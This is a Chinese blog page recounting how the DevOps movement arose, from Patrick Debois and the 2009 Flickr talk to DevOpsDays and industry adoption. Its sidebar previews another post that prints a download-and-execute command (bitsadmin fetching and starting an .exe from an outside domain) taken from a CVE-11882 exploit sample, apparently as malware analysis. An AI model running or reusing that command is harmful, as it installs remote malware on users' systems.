文档章节

为什么会出现DevOps?

好雨云帮
 好雨云帮
发布于 2017/08/28 15:03
字数 1501
阅读 19
收藏 1

DevOps试图解决开发(Dev)团队与维运(Ops)团队之间存在已久的冲突及矛盾:开发团队责难维运团队的机器出了问题,维运团队则把问题归咎于开发团队的程式码上。

DevOps运动承袭自敏捷系统管理(Agile System Administration)运动以及企业系统管理(Enterprise System Management,ESM)运动。

ESM运动约起于2005年,当时许多人认为,尽管经过多年的努力,目前运作系统的观念仍然显得过于原始,而Zenoss副总裁Mark Hinkle及前Chef服务副总裁John Willis等人都参与了这一波活动。同时进行的还有敏捷开发(Agile Development),此想法过去比较局限在开发端,逐渐成为公司内的普遍惯例(Common Practice),特别在欧洲,此观念已经衍伸为敏捷式系统管理。

当时,比利时籍IT顾问Patrick Debois与政府部门合作,共同进行资料中心迁移的计画,而他则负责相关测试工作。 Patrick Debois必须时常在开发团队以及维运团队间变换角色。前一天他正习惯于敏捷开发的步调,第二天却必须上阵救火,确保系统能正常维运。经历此项计画后,Patrick Debois了解到,开发团队与维运团队不仅中间像隔了座山,运作方面还处处冲突。

在2008年时,Puppet实验室共同创办人Andrew Clay Shafer跟Patrick在多伦多的Agile大会中相遇,两人针对Andrew Clay Shafer的议程主题敏捷式基础建设(Agile Infrastructure)深谈许久,他们两个人都认为,必须思考出一个方式,搭起开发团队与维运团队之间的桥梁。在当时,持续整合(Continuous Integration)的想法已经逐渐开发社群间发酵,并且应用在部署服务的方面,但是此观念还尚未应用在维运团队中。

2009年6月23日,在加州圣荷西O'Reilly Velocity大会上,两个Flickr的员工,资深技术维护员John Allspaw以及领导工程师Paul Hammond,在会议中报告了一个主题:「10+ Deploys per Day:Dev and Ops Cooperation at Flickr」震惊了许多在场的开发者,因为一天内部署超过10次是何等艰难的任务。此演讲很快速地受到社群的认同,因为他们证明了开发团队与维运团队彼此是可以顺利合作。 John Allspaw跟Paul Hammond认为打造新一代软体的方法应该是让开发团队及维运团队两个都变得透明,并将两者互相整合在一起。

此时,隔着大西洋观看直播的Patrick Debois受到很大的激励,他在推特上表示,如果能亲临现场该有多好,而很快地就有人回覆他的推特,并表示何不自己在比利时举办一个活动,这样大家就可以参加了。虽然是推特好友的一句玩笑话,却无心插柳柳成荫,让Patrick Debois决定开始筹组自己的活动。

Flickr在O'Reilly Velocity研討會首度分享了開發團隊與維運團隊的成功合作經驗,如雙方使用IRC搭配多種Log資訊即時解決系統問題。

DevOps从比利时萌芽红遍全球

Patrick Debois把Dev及Ops结合成DevOps,而因为活动有两天,他决定另外再加上Days,所以活动名称就成了DevOpsDays,并在当年的10月30及31日在比利时根特城举行。活动结束后,社群间的对话仍然在推特上持续进行,由于推特公开发文有140字元的限制,社群决定删掉后面的「Days」,采改用#DevOps在推特上进行讨论。

很快的,DevOpsDays走出了比利时,成为定期举办及吸引开发社群参与的全球会议,并在John Willis、DTO Solutions创办人Damon Edwards及Puppet实验室共同创办人Andrew Clay Shafer等人的帮助下,美国也举办了第一个DevOpsDays。

看到DevOps在各地蓬勃的发展,许多知名分析师也开始注意到这一波热潮,开始撰写相关文章并鼓吹DevOps的观念。其中Gartner研究副总裁Cameron Haight在文章中预测,在2015年,全球两千企业中的20%会拥抱DevOps。来自451研究机构的分析师Jay Lyman呼吁,如果企业想针对客户、软体开发有更快速的反应,势必要导入DevOps。此外,O'Reilly内容策略副总裁Mike Loukides亦撰文「What is DevOps?」他认为DevOps是对于开发团队以及维运团队两者之间都有深入、贴近地了解。 DevOps相关的书籍开始变得热门,如Tripwire创办人Gene Kim、Gartner研究总监George Spafford等人共撰的《The Phoenix Project》及Chef副总裁Jez Humble及软体开发者Dave Farley共笔的《Continuous Delivery》 。

除了IBM、红帽、微软等科技业外,梅西百货、手工剑桥包公司 Cambridge Satchel 及迪士尼也纷纷拥抱DevOps。根据Puppet实验室、IT Revolution及ThoughtWorks的调查,早在2015便有16%约1,485位受访者表示,目前所属企业已经建立了DevOps团队。这一数字正在迅速增长,同时也有众多企业开始选择使用第三方DevOps平台来实现转型。

隨著DevOpsDays活動在全球各地舉行,反映出DevOps熱潮蔓延全球的趨勢。


好雨 - DevOps / 开发运维一体化

DevOps是一种理念,鼓励开发和运维之间沟通、协作、集成和自动化,以便更快捷、更频繁、更可靠的构建、测试、发布应用,而云帮ACP通过对CI/CD、高效运维、微服务架构等功能特性的设计和打磨,为DevOps的实现提供了一个可靠平台。

https://www.goodrain.com/devops.html

© 著作权归作者所有

共有 人打赏支持
好雨云帮
粉丝 14
博文 82
码字总数 88255
作品 1
东城
DevOps“五宗罪”,这样向DevOps过渡注定会失败

云计算提供的速度响应、敏捷性和规模效应,契合了如今不断变化的数字商业环境。企业基于最新的IT技术,重构IT架构,加速产品创新和服务交付的速度,从而提高运营效率和市场占有。 不过,企业...

Alaudacloud
05/31
0
0
对话专家:Go是DevOps时代最好的编程语言

  【IT168 评论】如今,成功实施DevOps对于企业的深远影响已经不言而喻了,但是想要找到一位优秀的DevOps工程师却绝非易事。本文我们与Toptal人才运营副总裁Alvaro Oliveira进行了深度对话...

it168网站
2017/12/31
0
0
DevOps 接下来会发生什么:要关注的 5 个趋势

专家们权衡了 DevOps 团队最近会有何期望。 “DevOps” 一词通常认为是来源于 这篇 2008 年关于敏捷基础设施和运营的讲演中。现在的 IT 词汇中,它无处不在,这个“混搭”的词汇出现还不到 ...

12%
05/29
0
0
一篇文了解DevOps:从概念、关键问题、兴起到实现需求

“目前在国外,互联网巨头如Google、Facebook、Amazon、LinkedIn、Netflix、Airbnb,传统软件公司如Adobe、IBM、Microsoft、SAP等,亦或是网络业务非核心企业如苹果、沃尔玛、索尼影视娱乐、...

yuanzhitang
2016/11/23
0
0
DevOps,你真的了解吗?

与大数据和PRISM(NSA的监控项目之一),DevOps(开发运维)如今是科技人士挂在嘴边的热词,但遗憾的是,类似圣经,每个人都引用DevOps的只言片语,但真正理解并能执行的人极少。根据CA的一项...

oschina
2013/10/02
8.7K
8

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
13分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
26分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
27分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
38分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部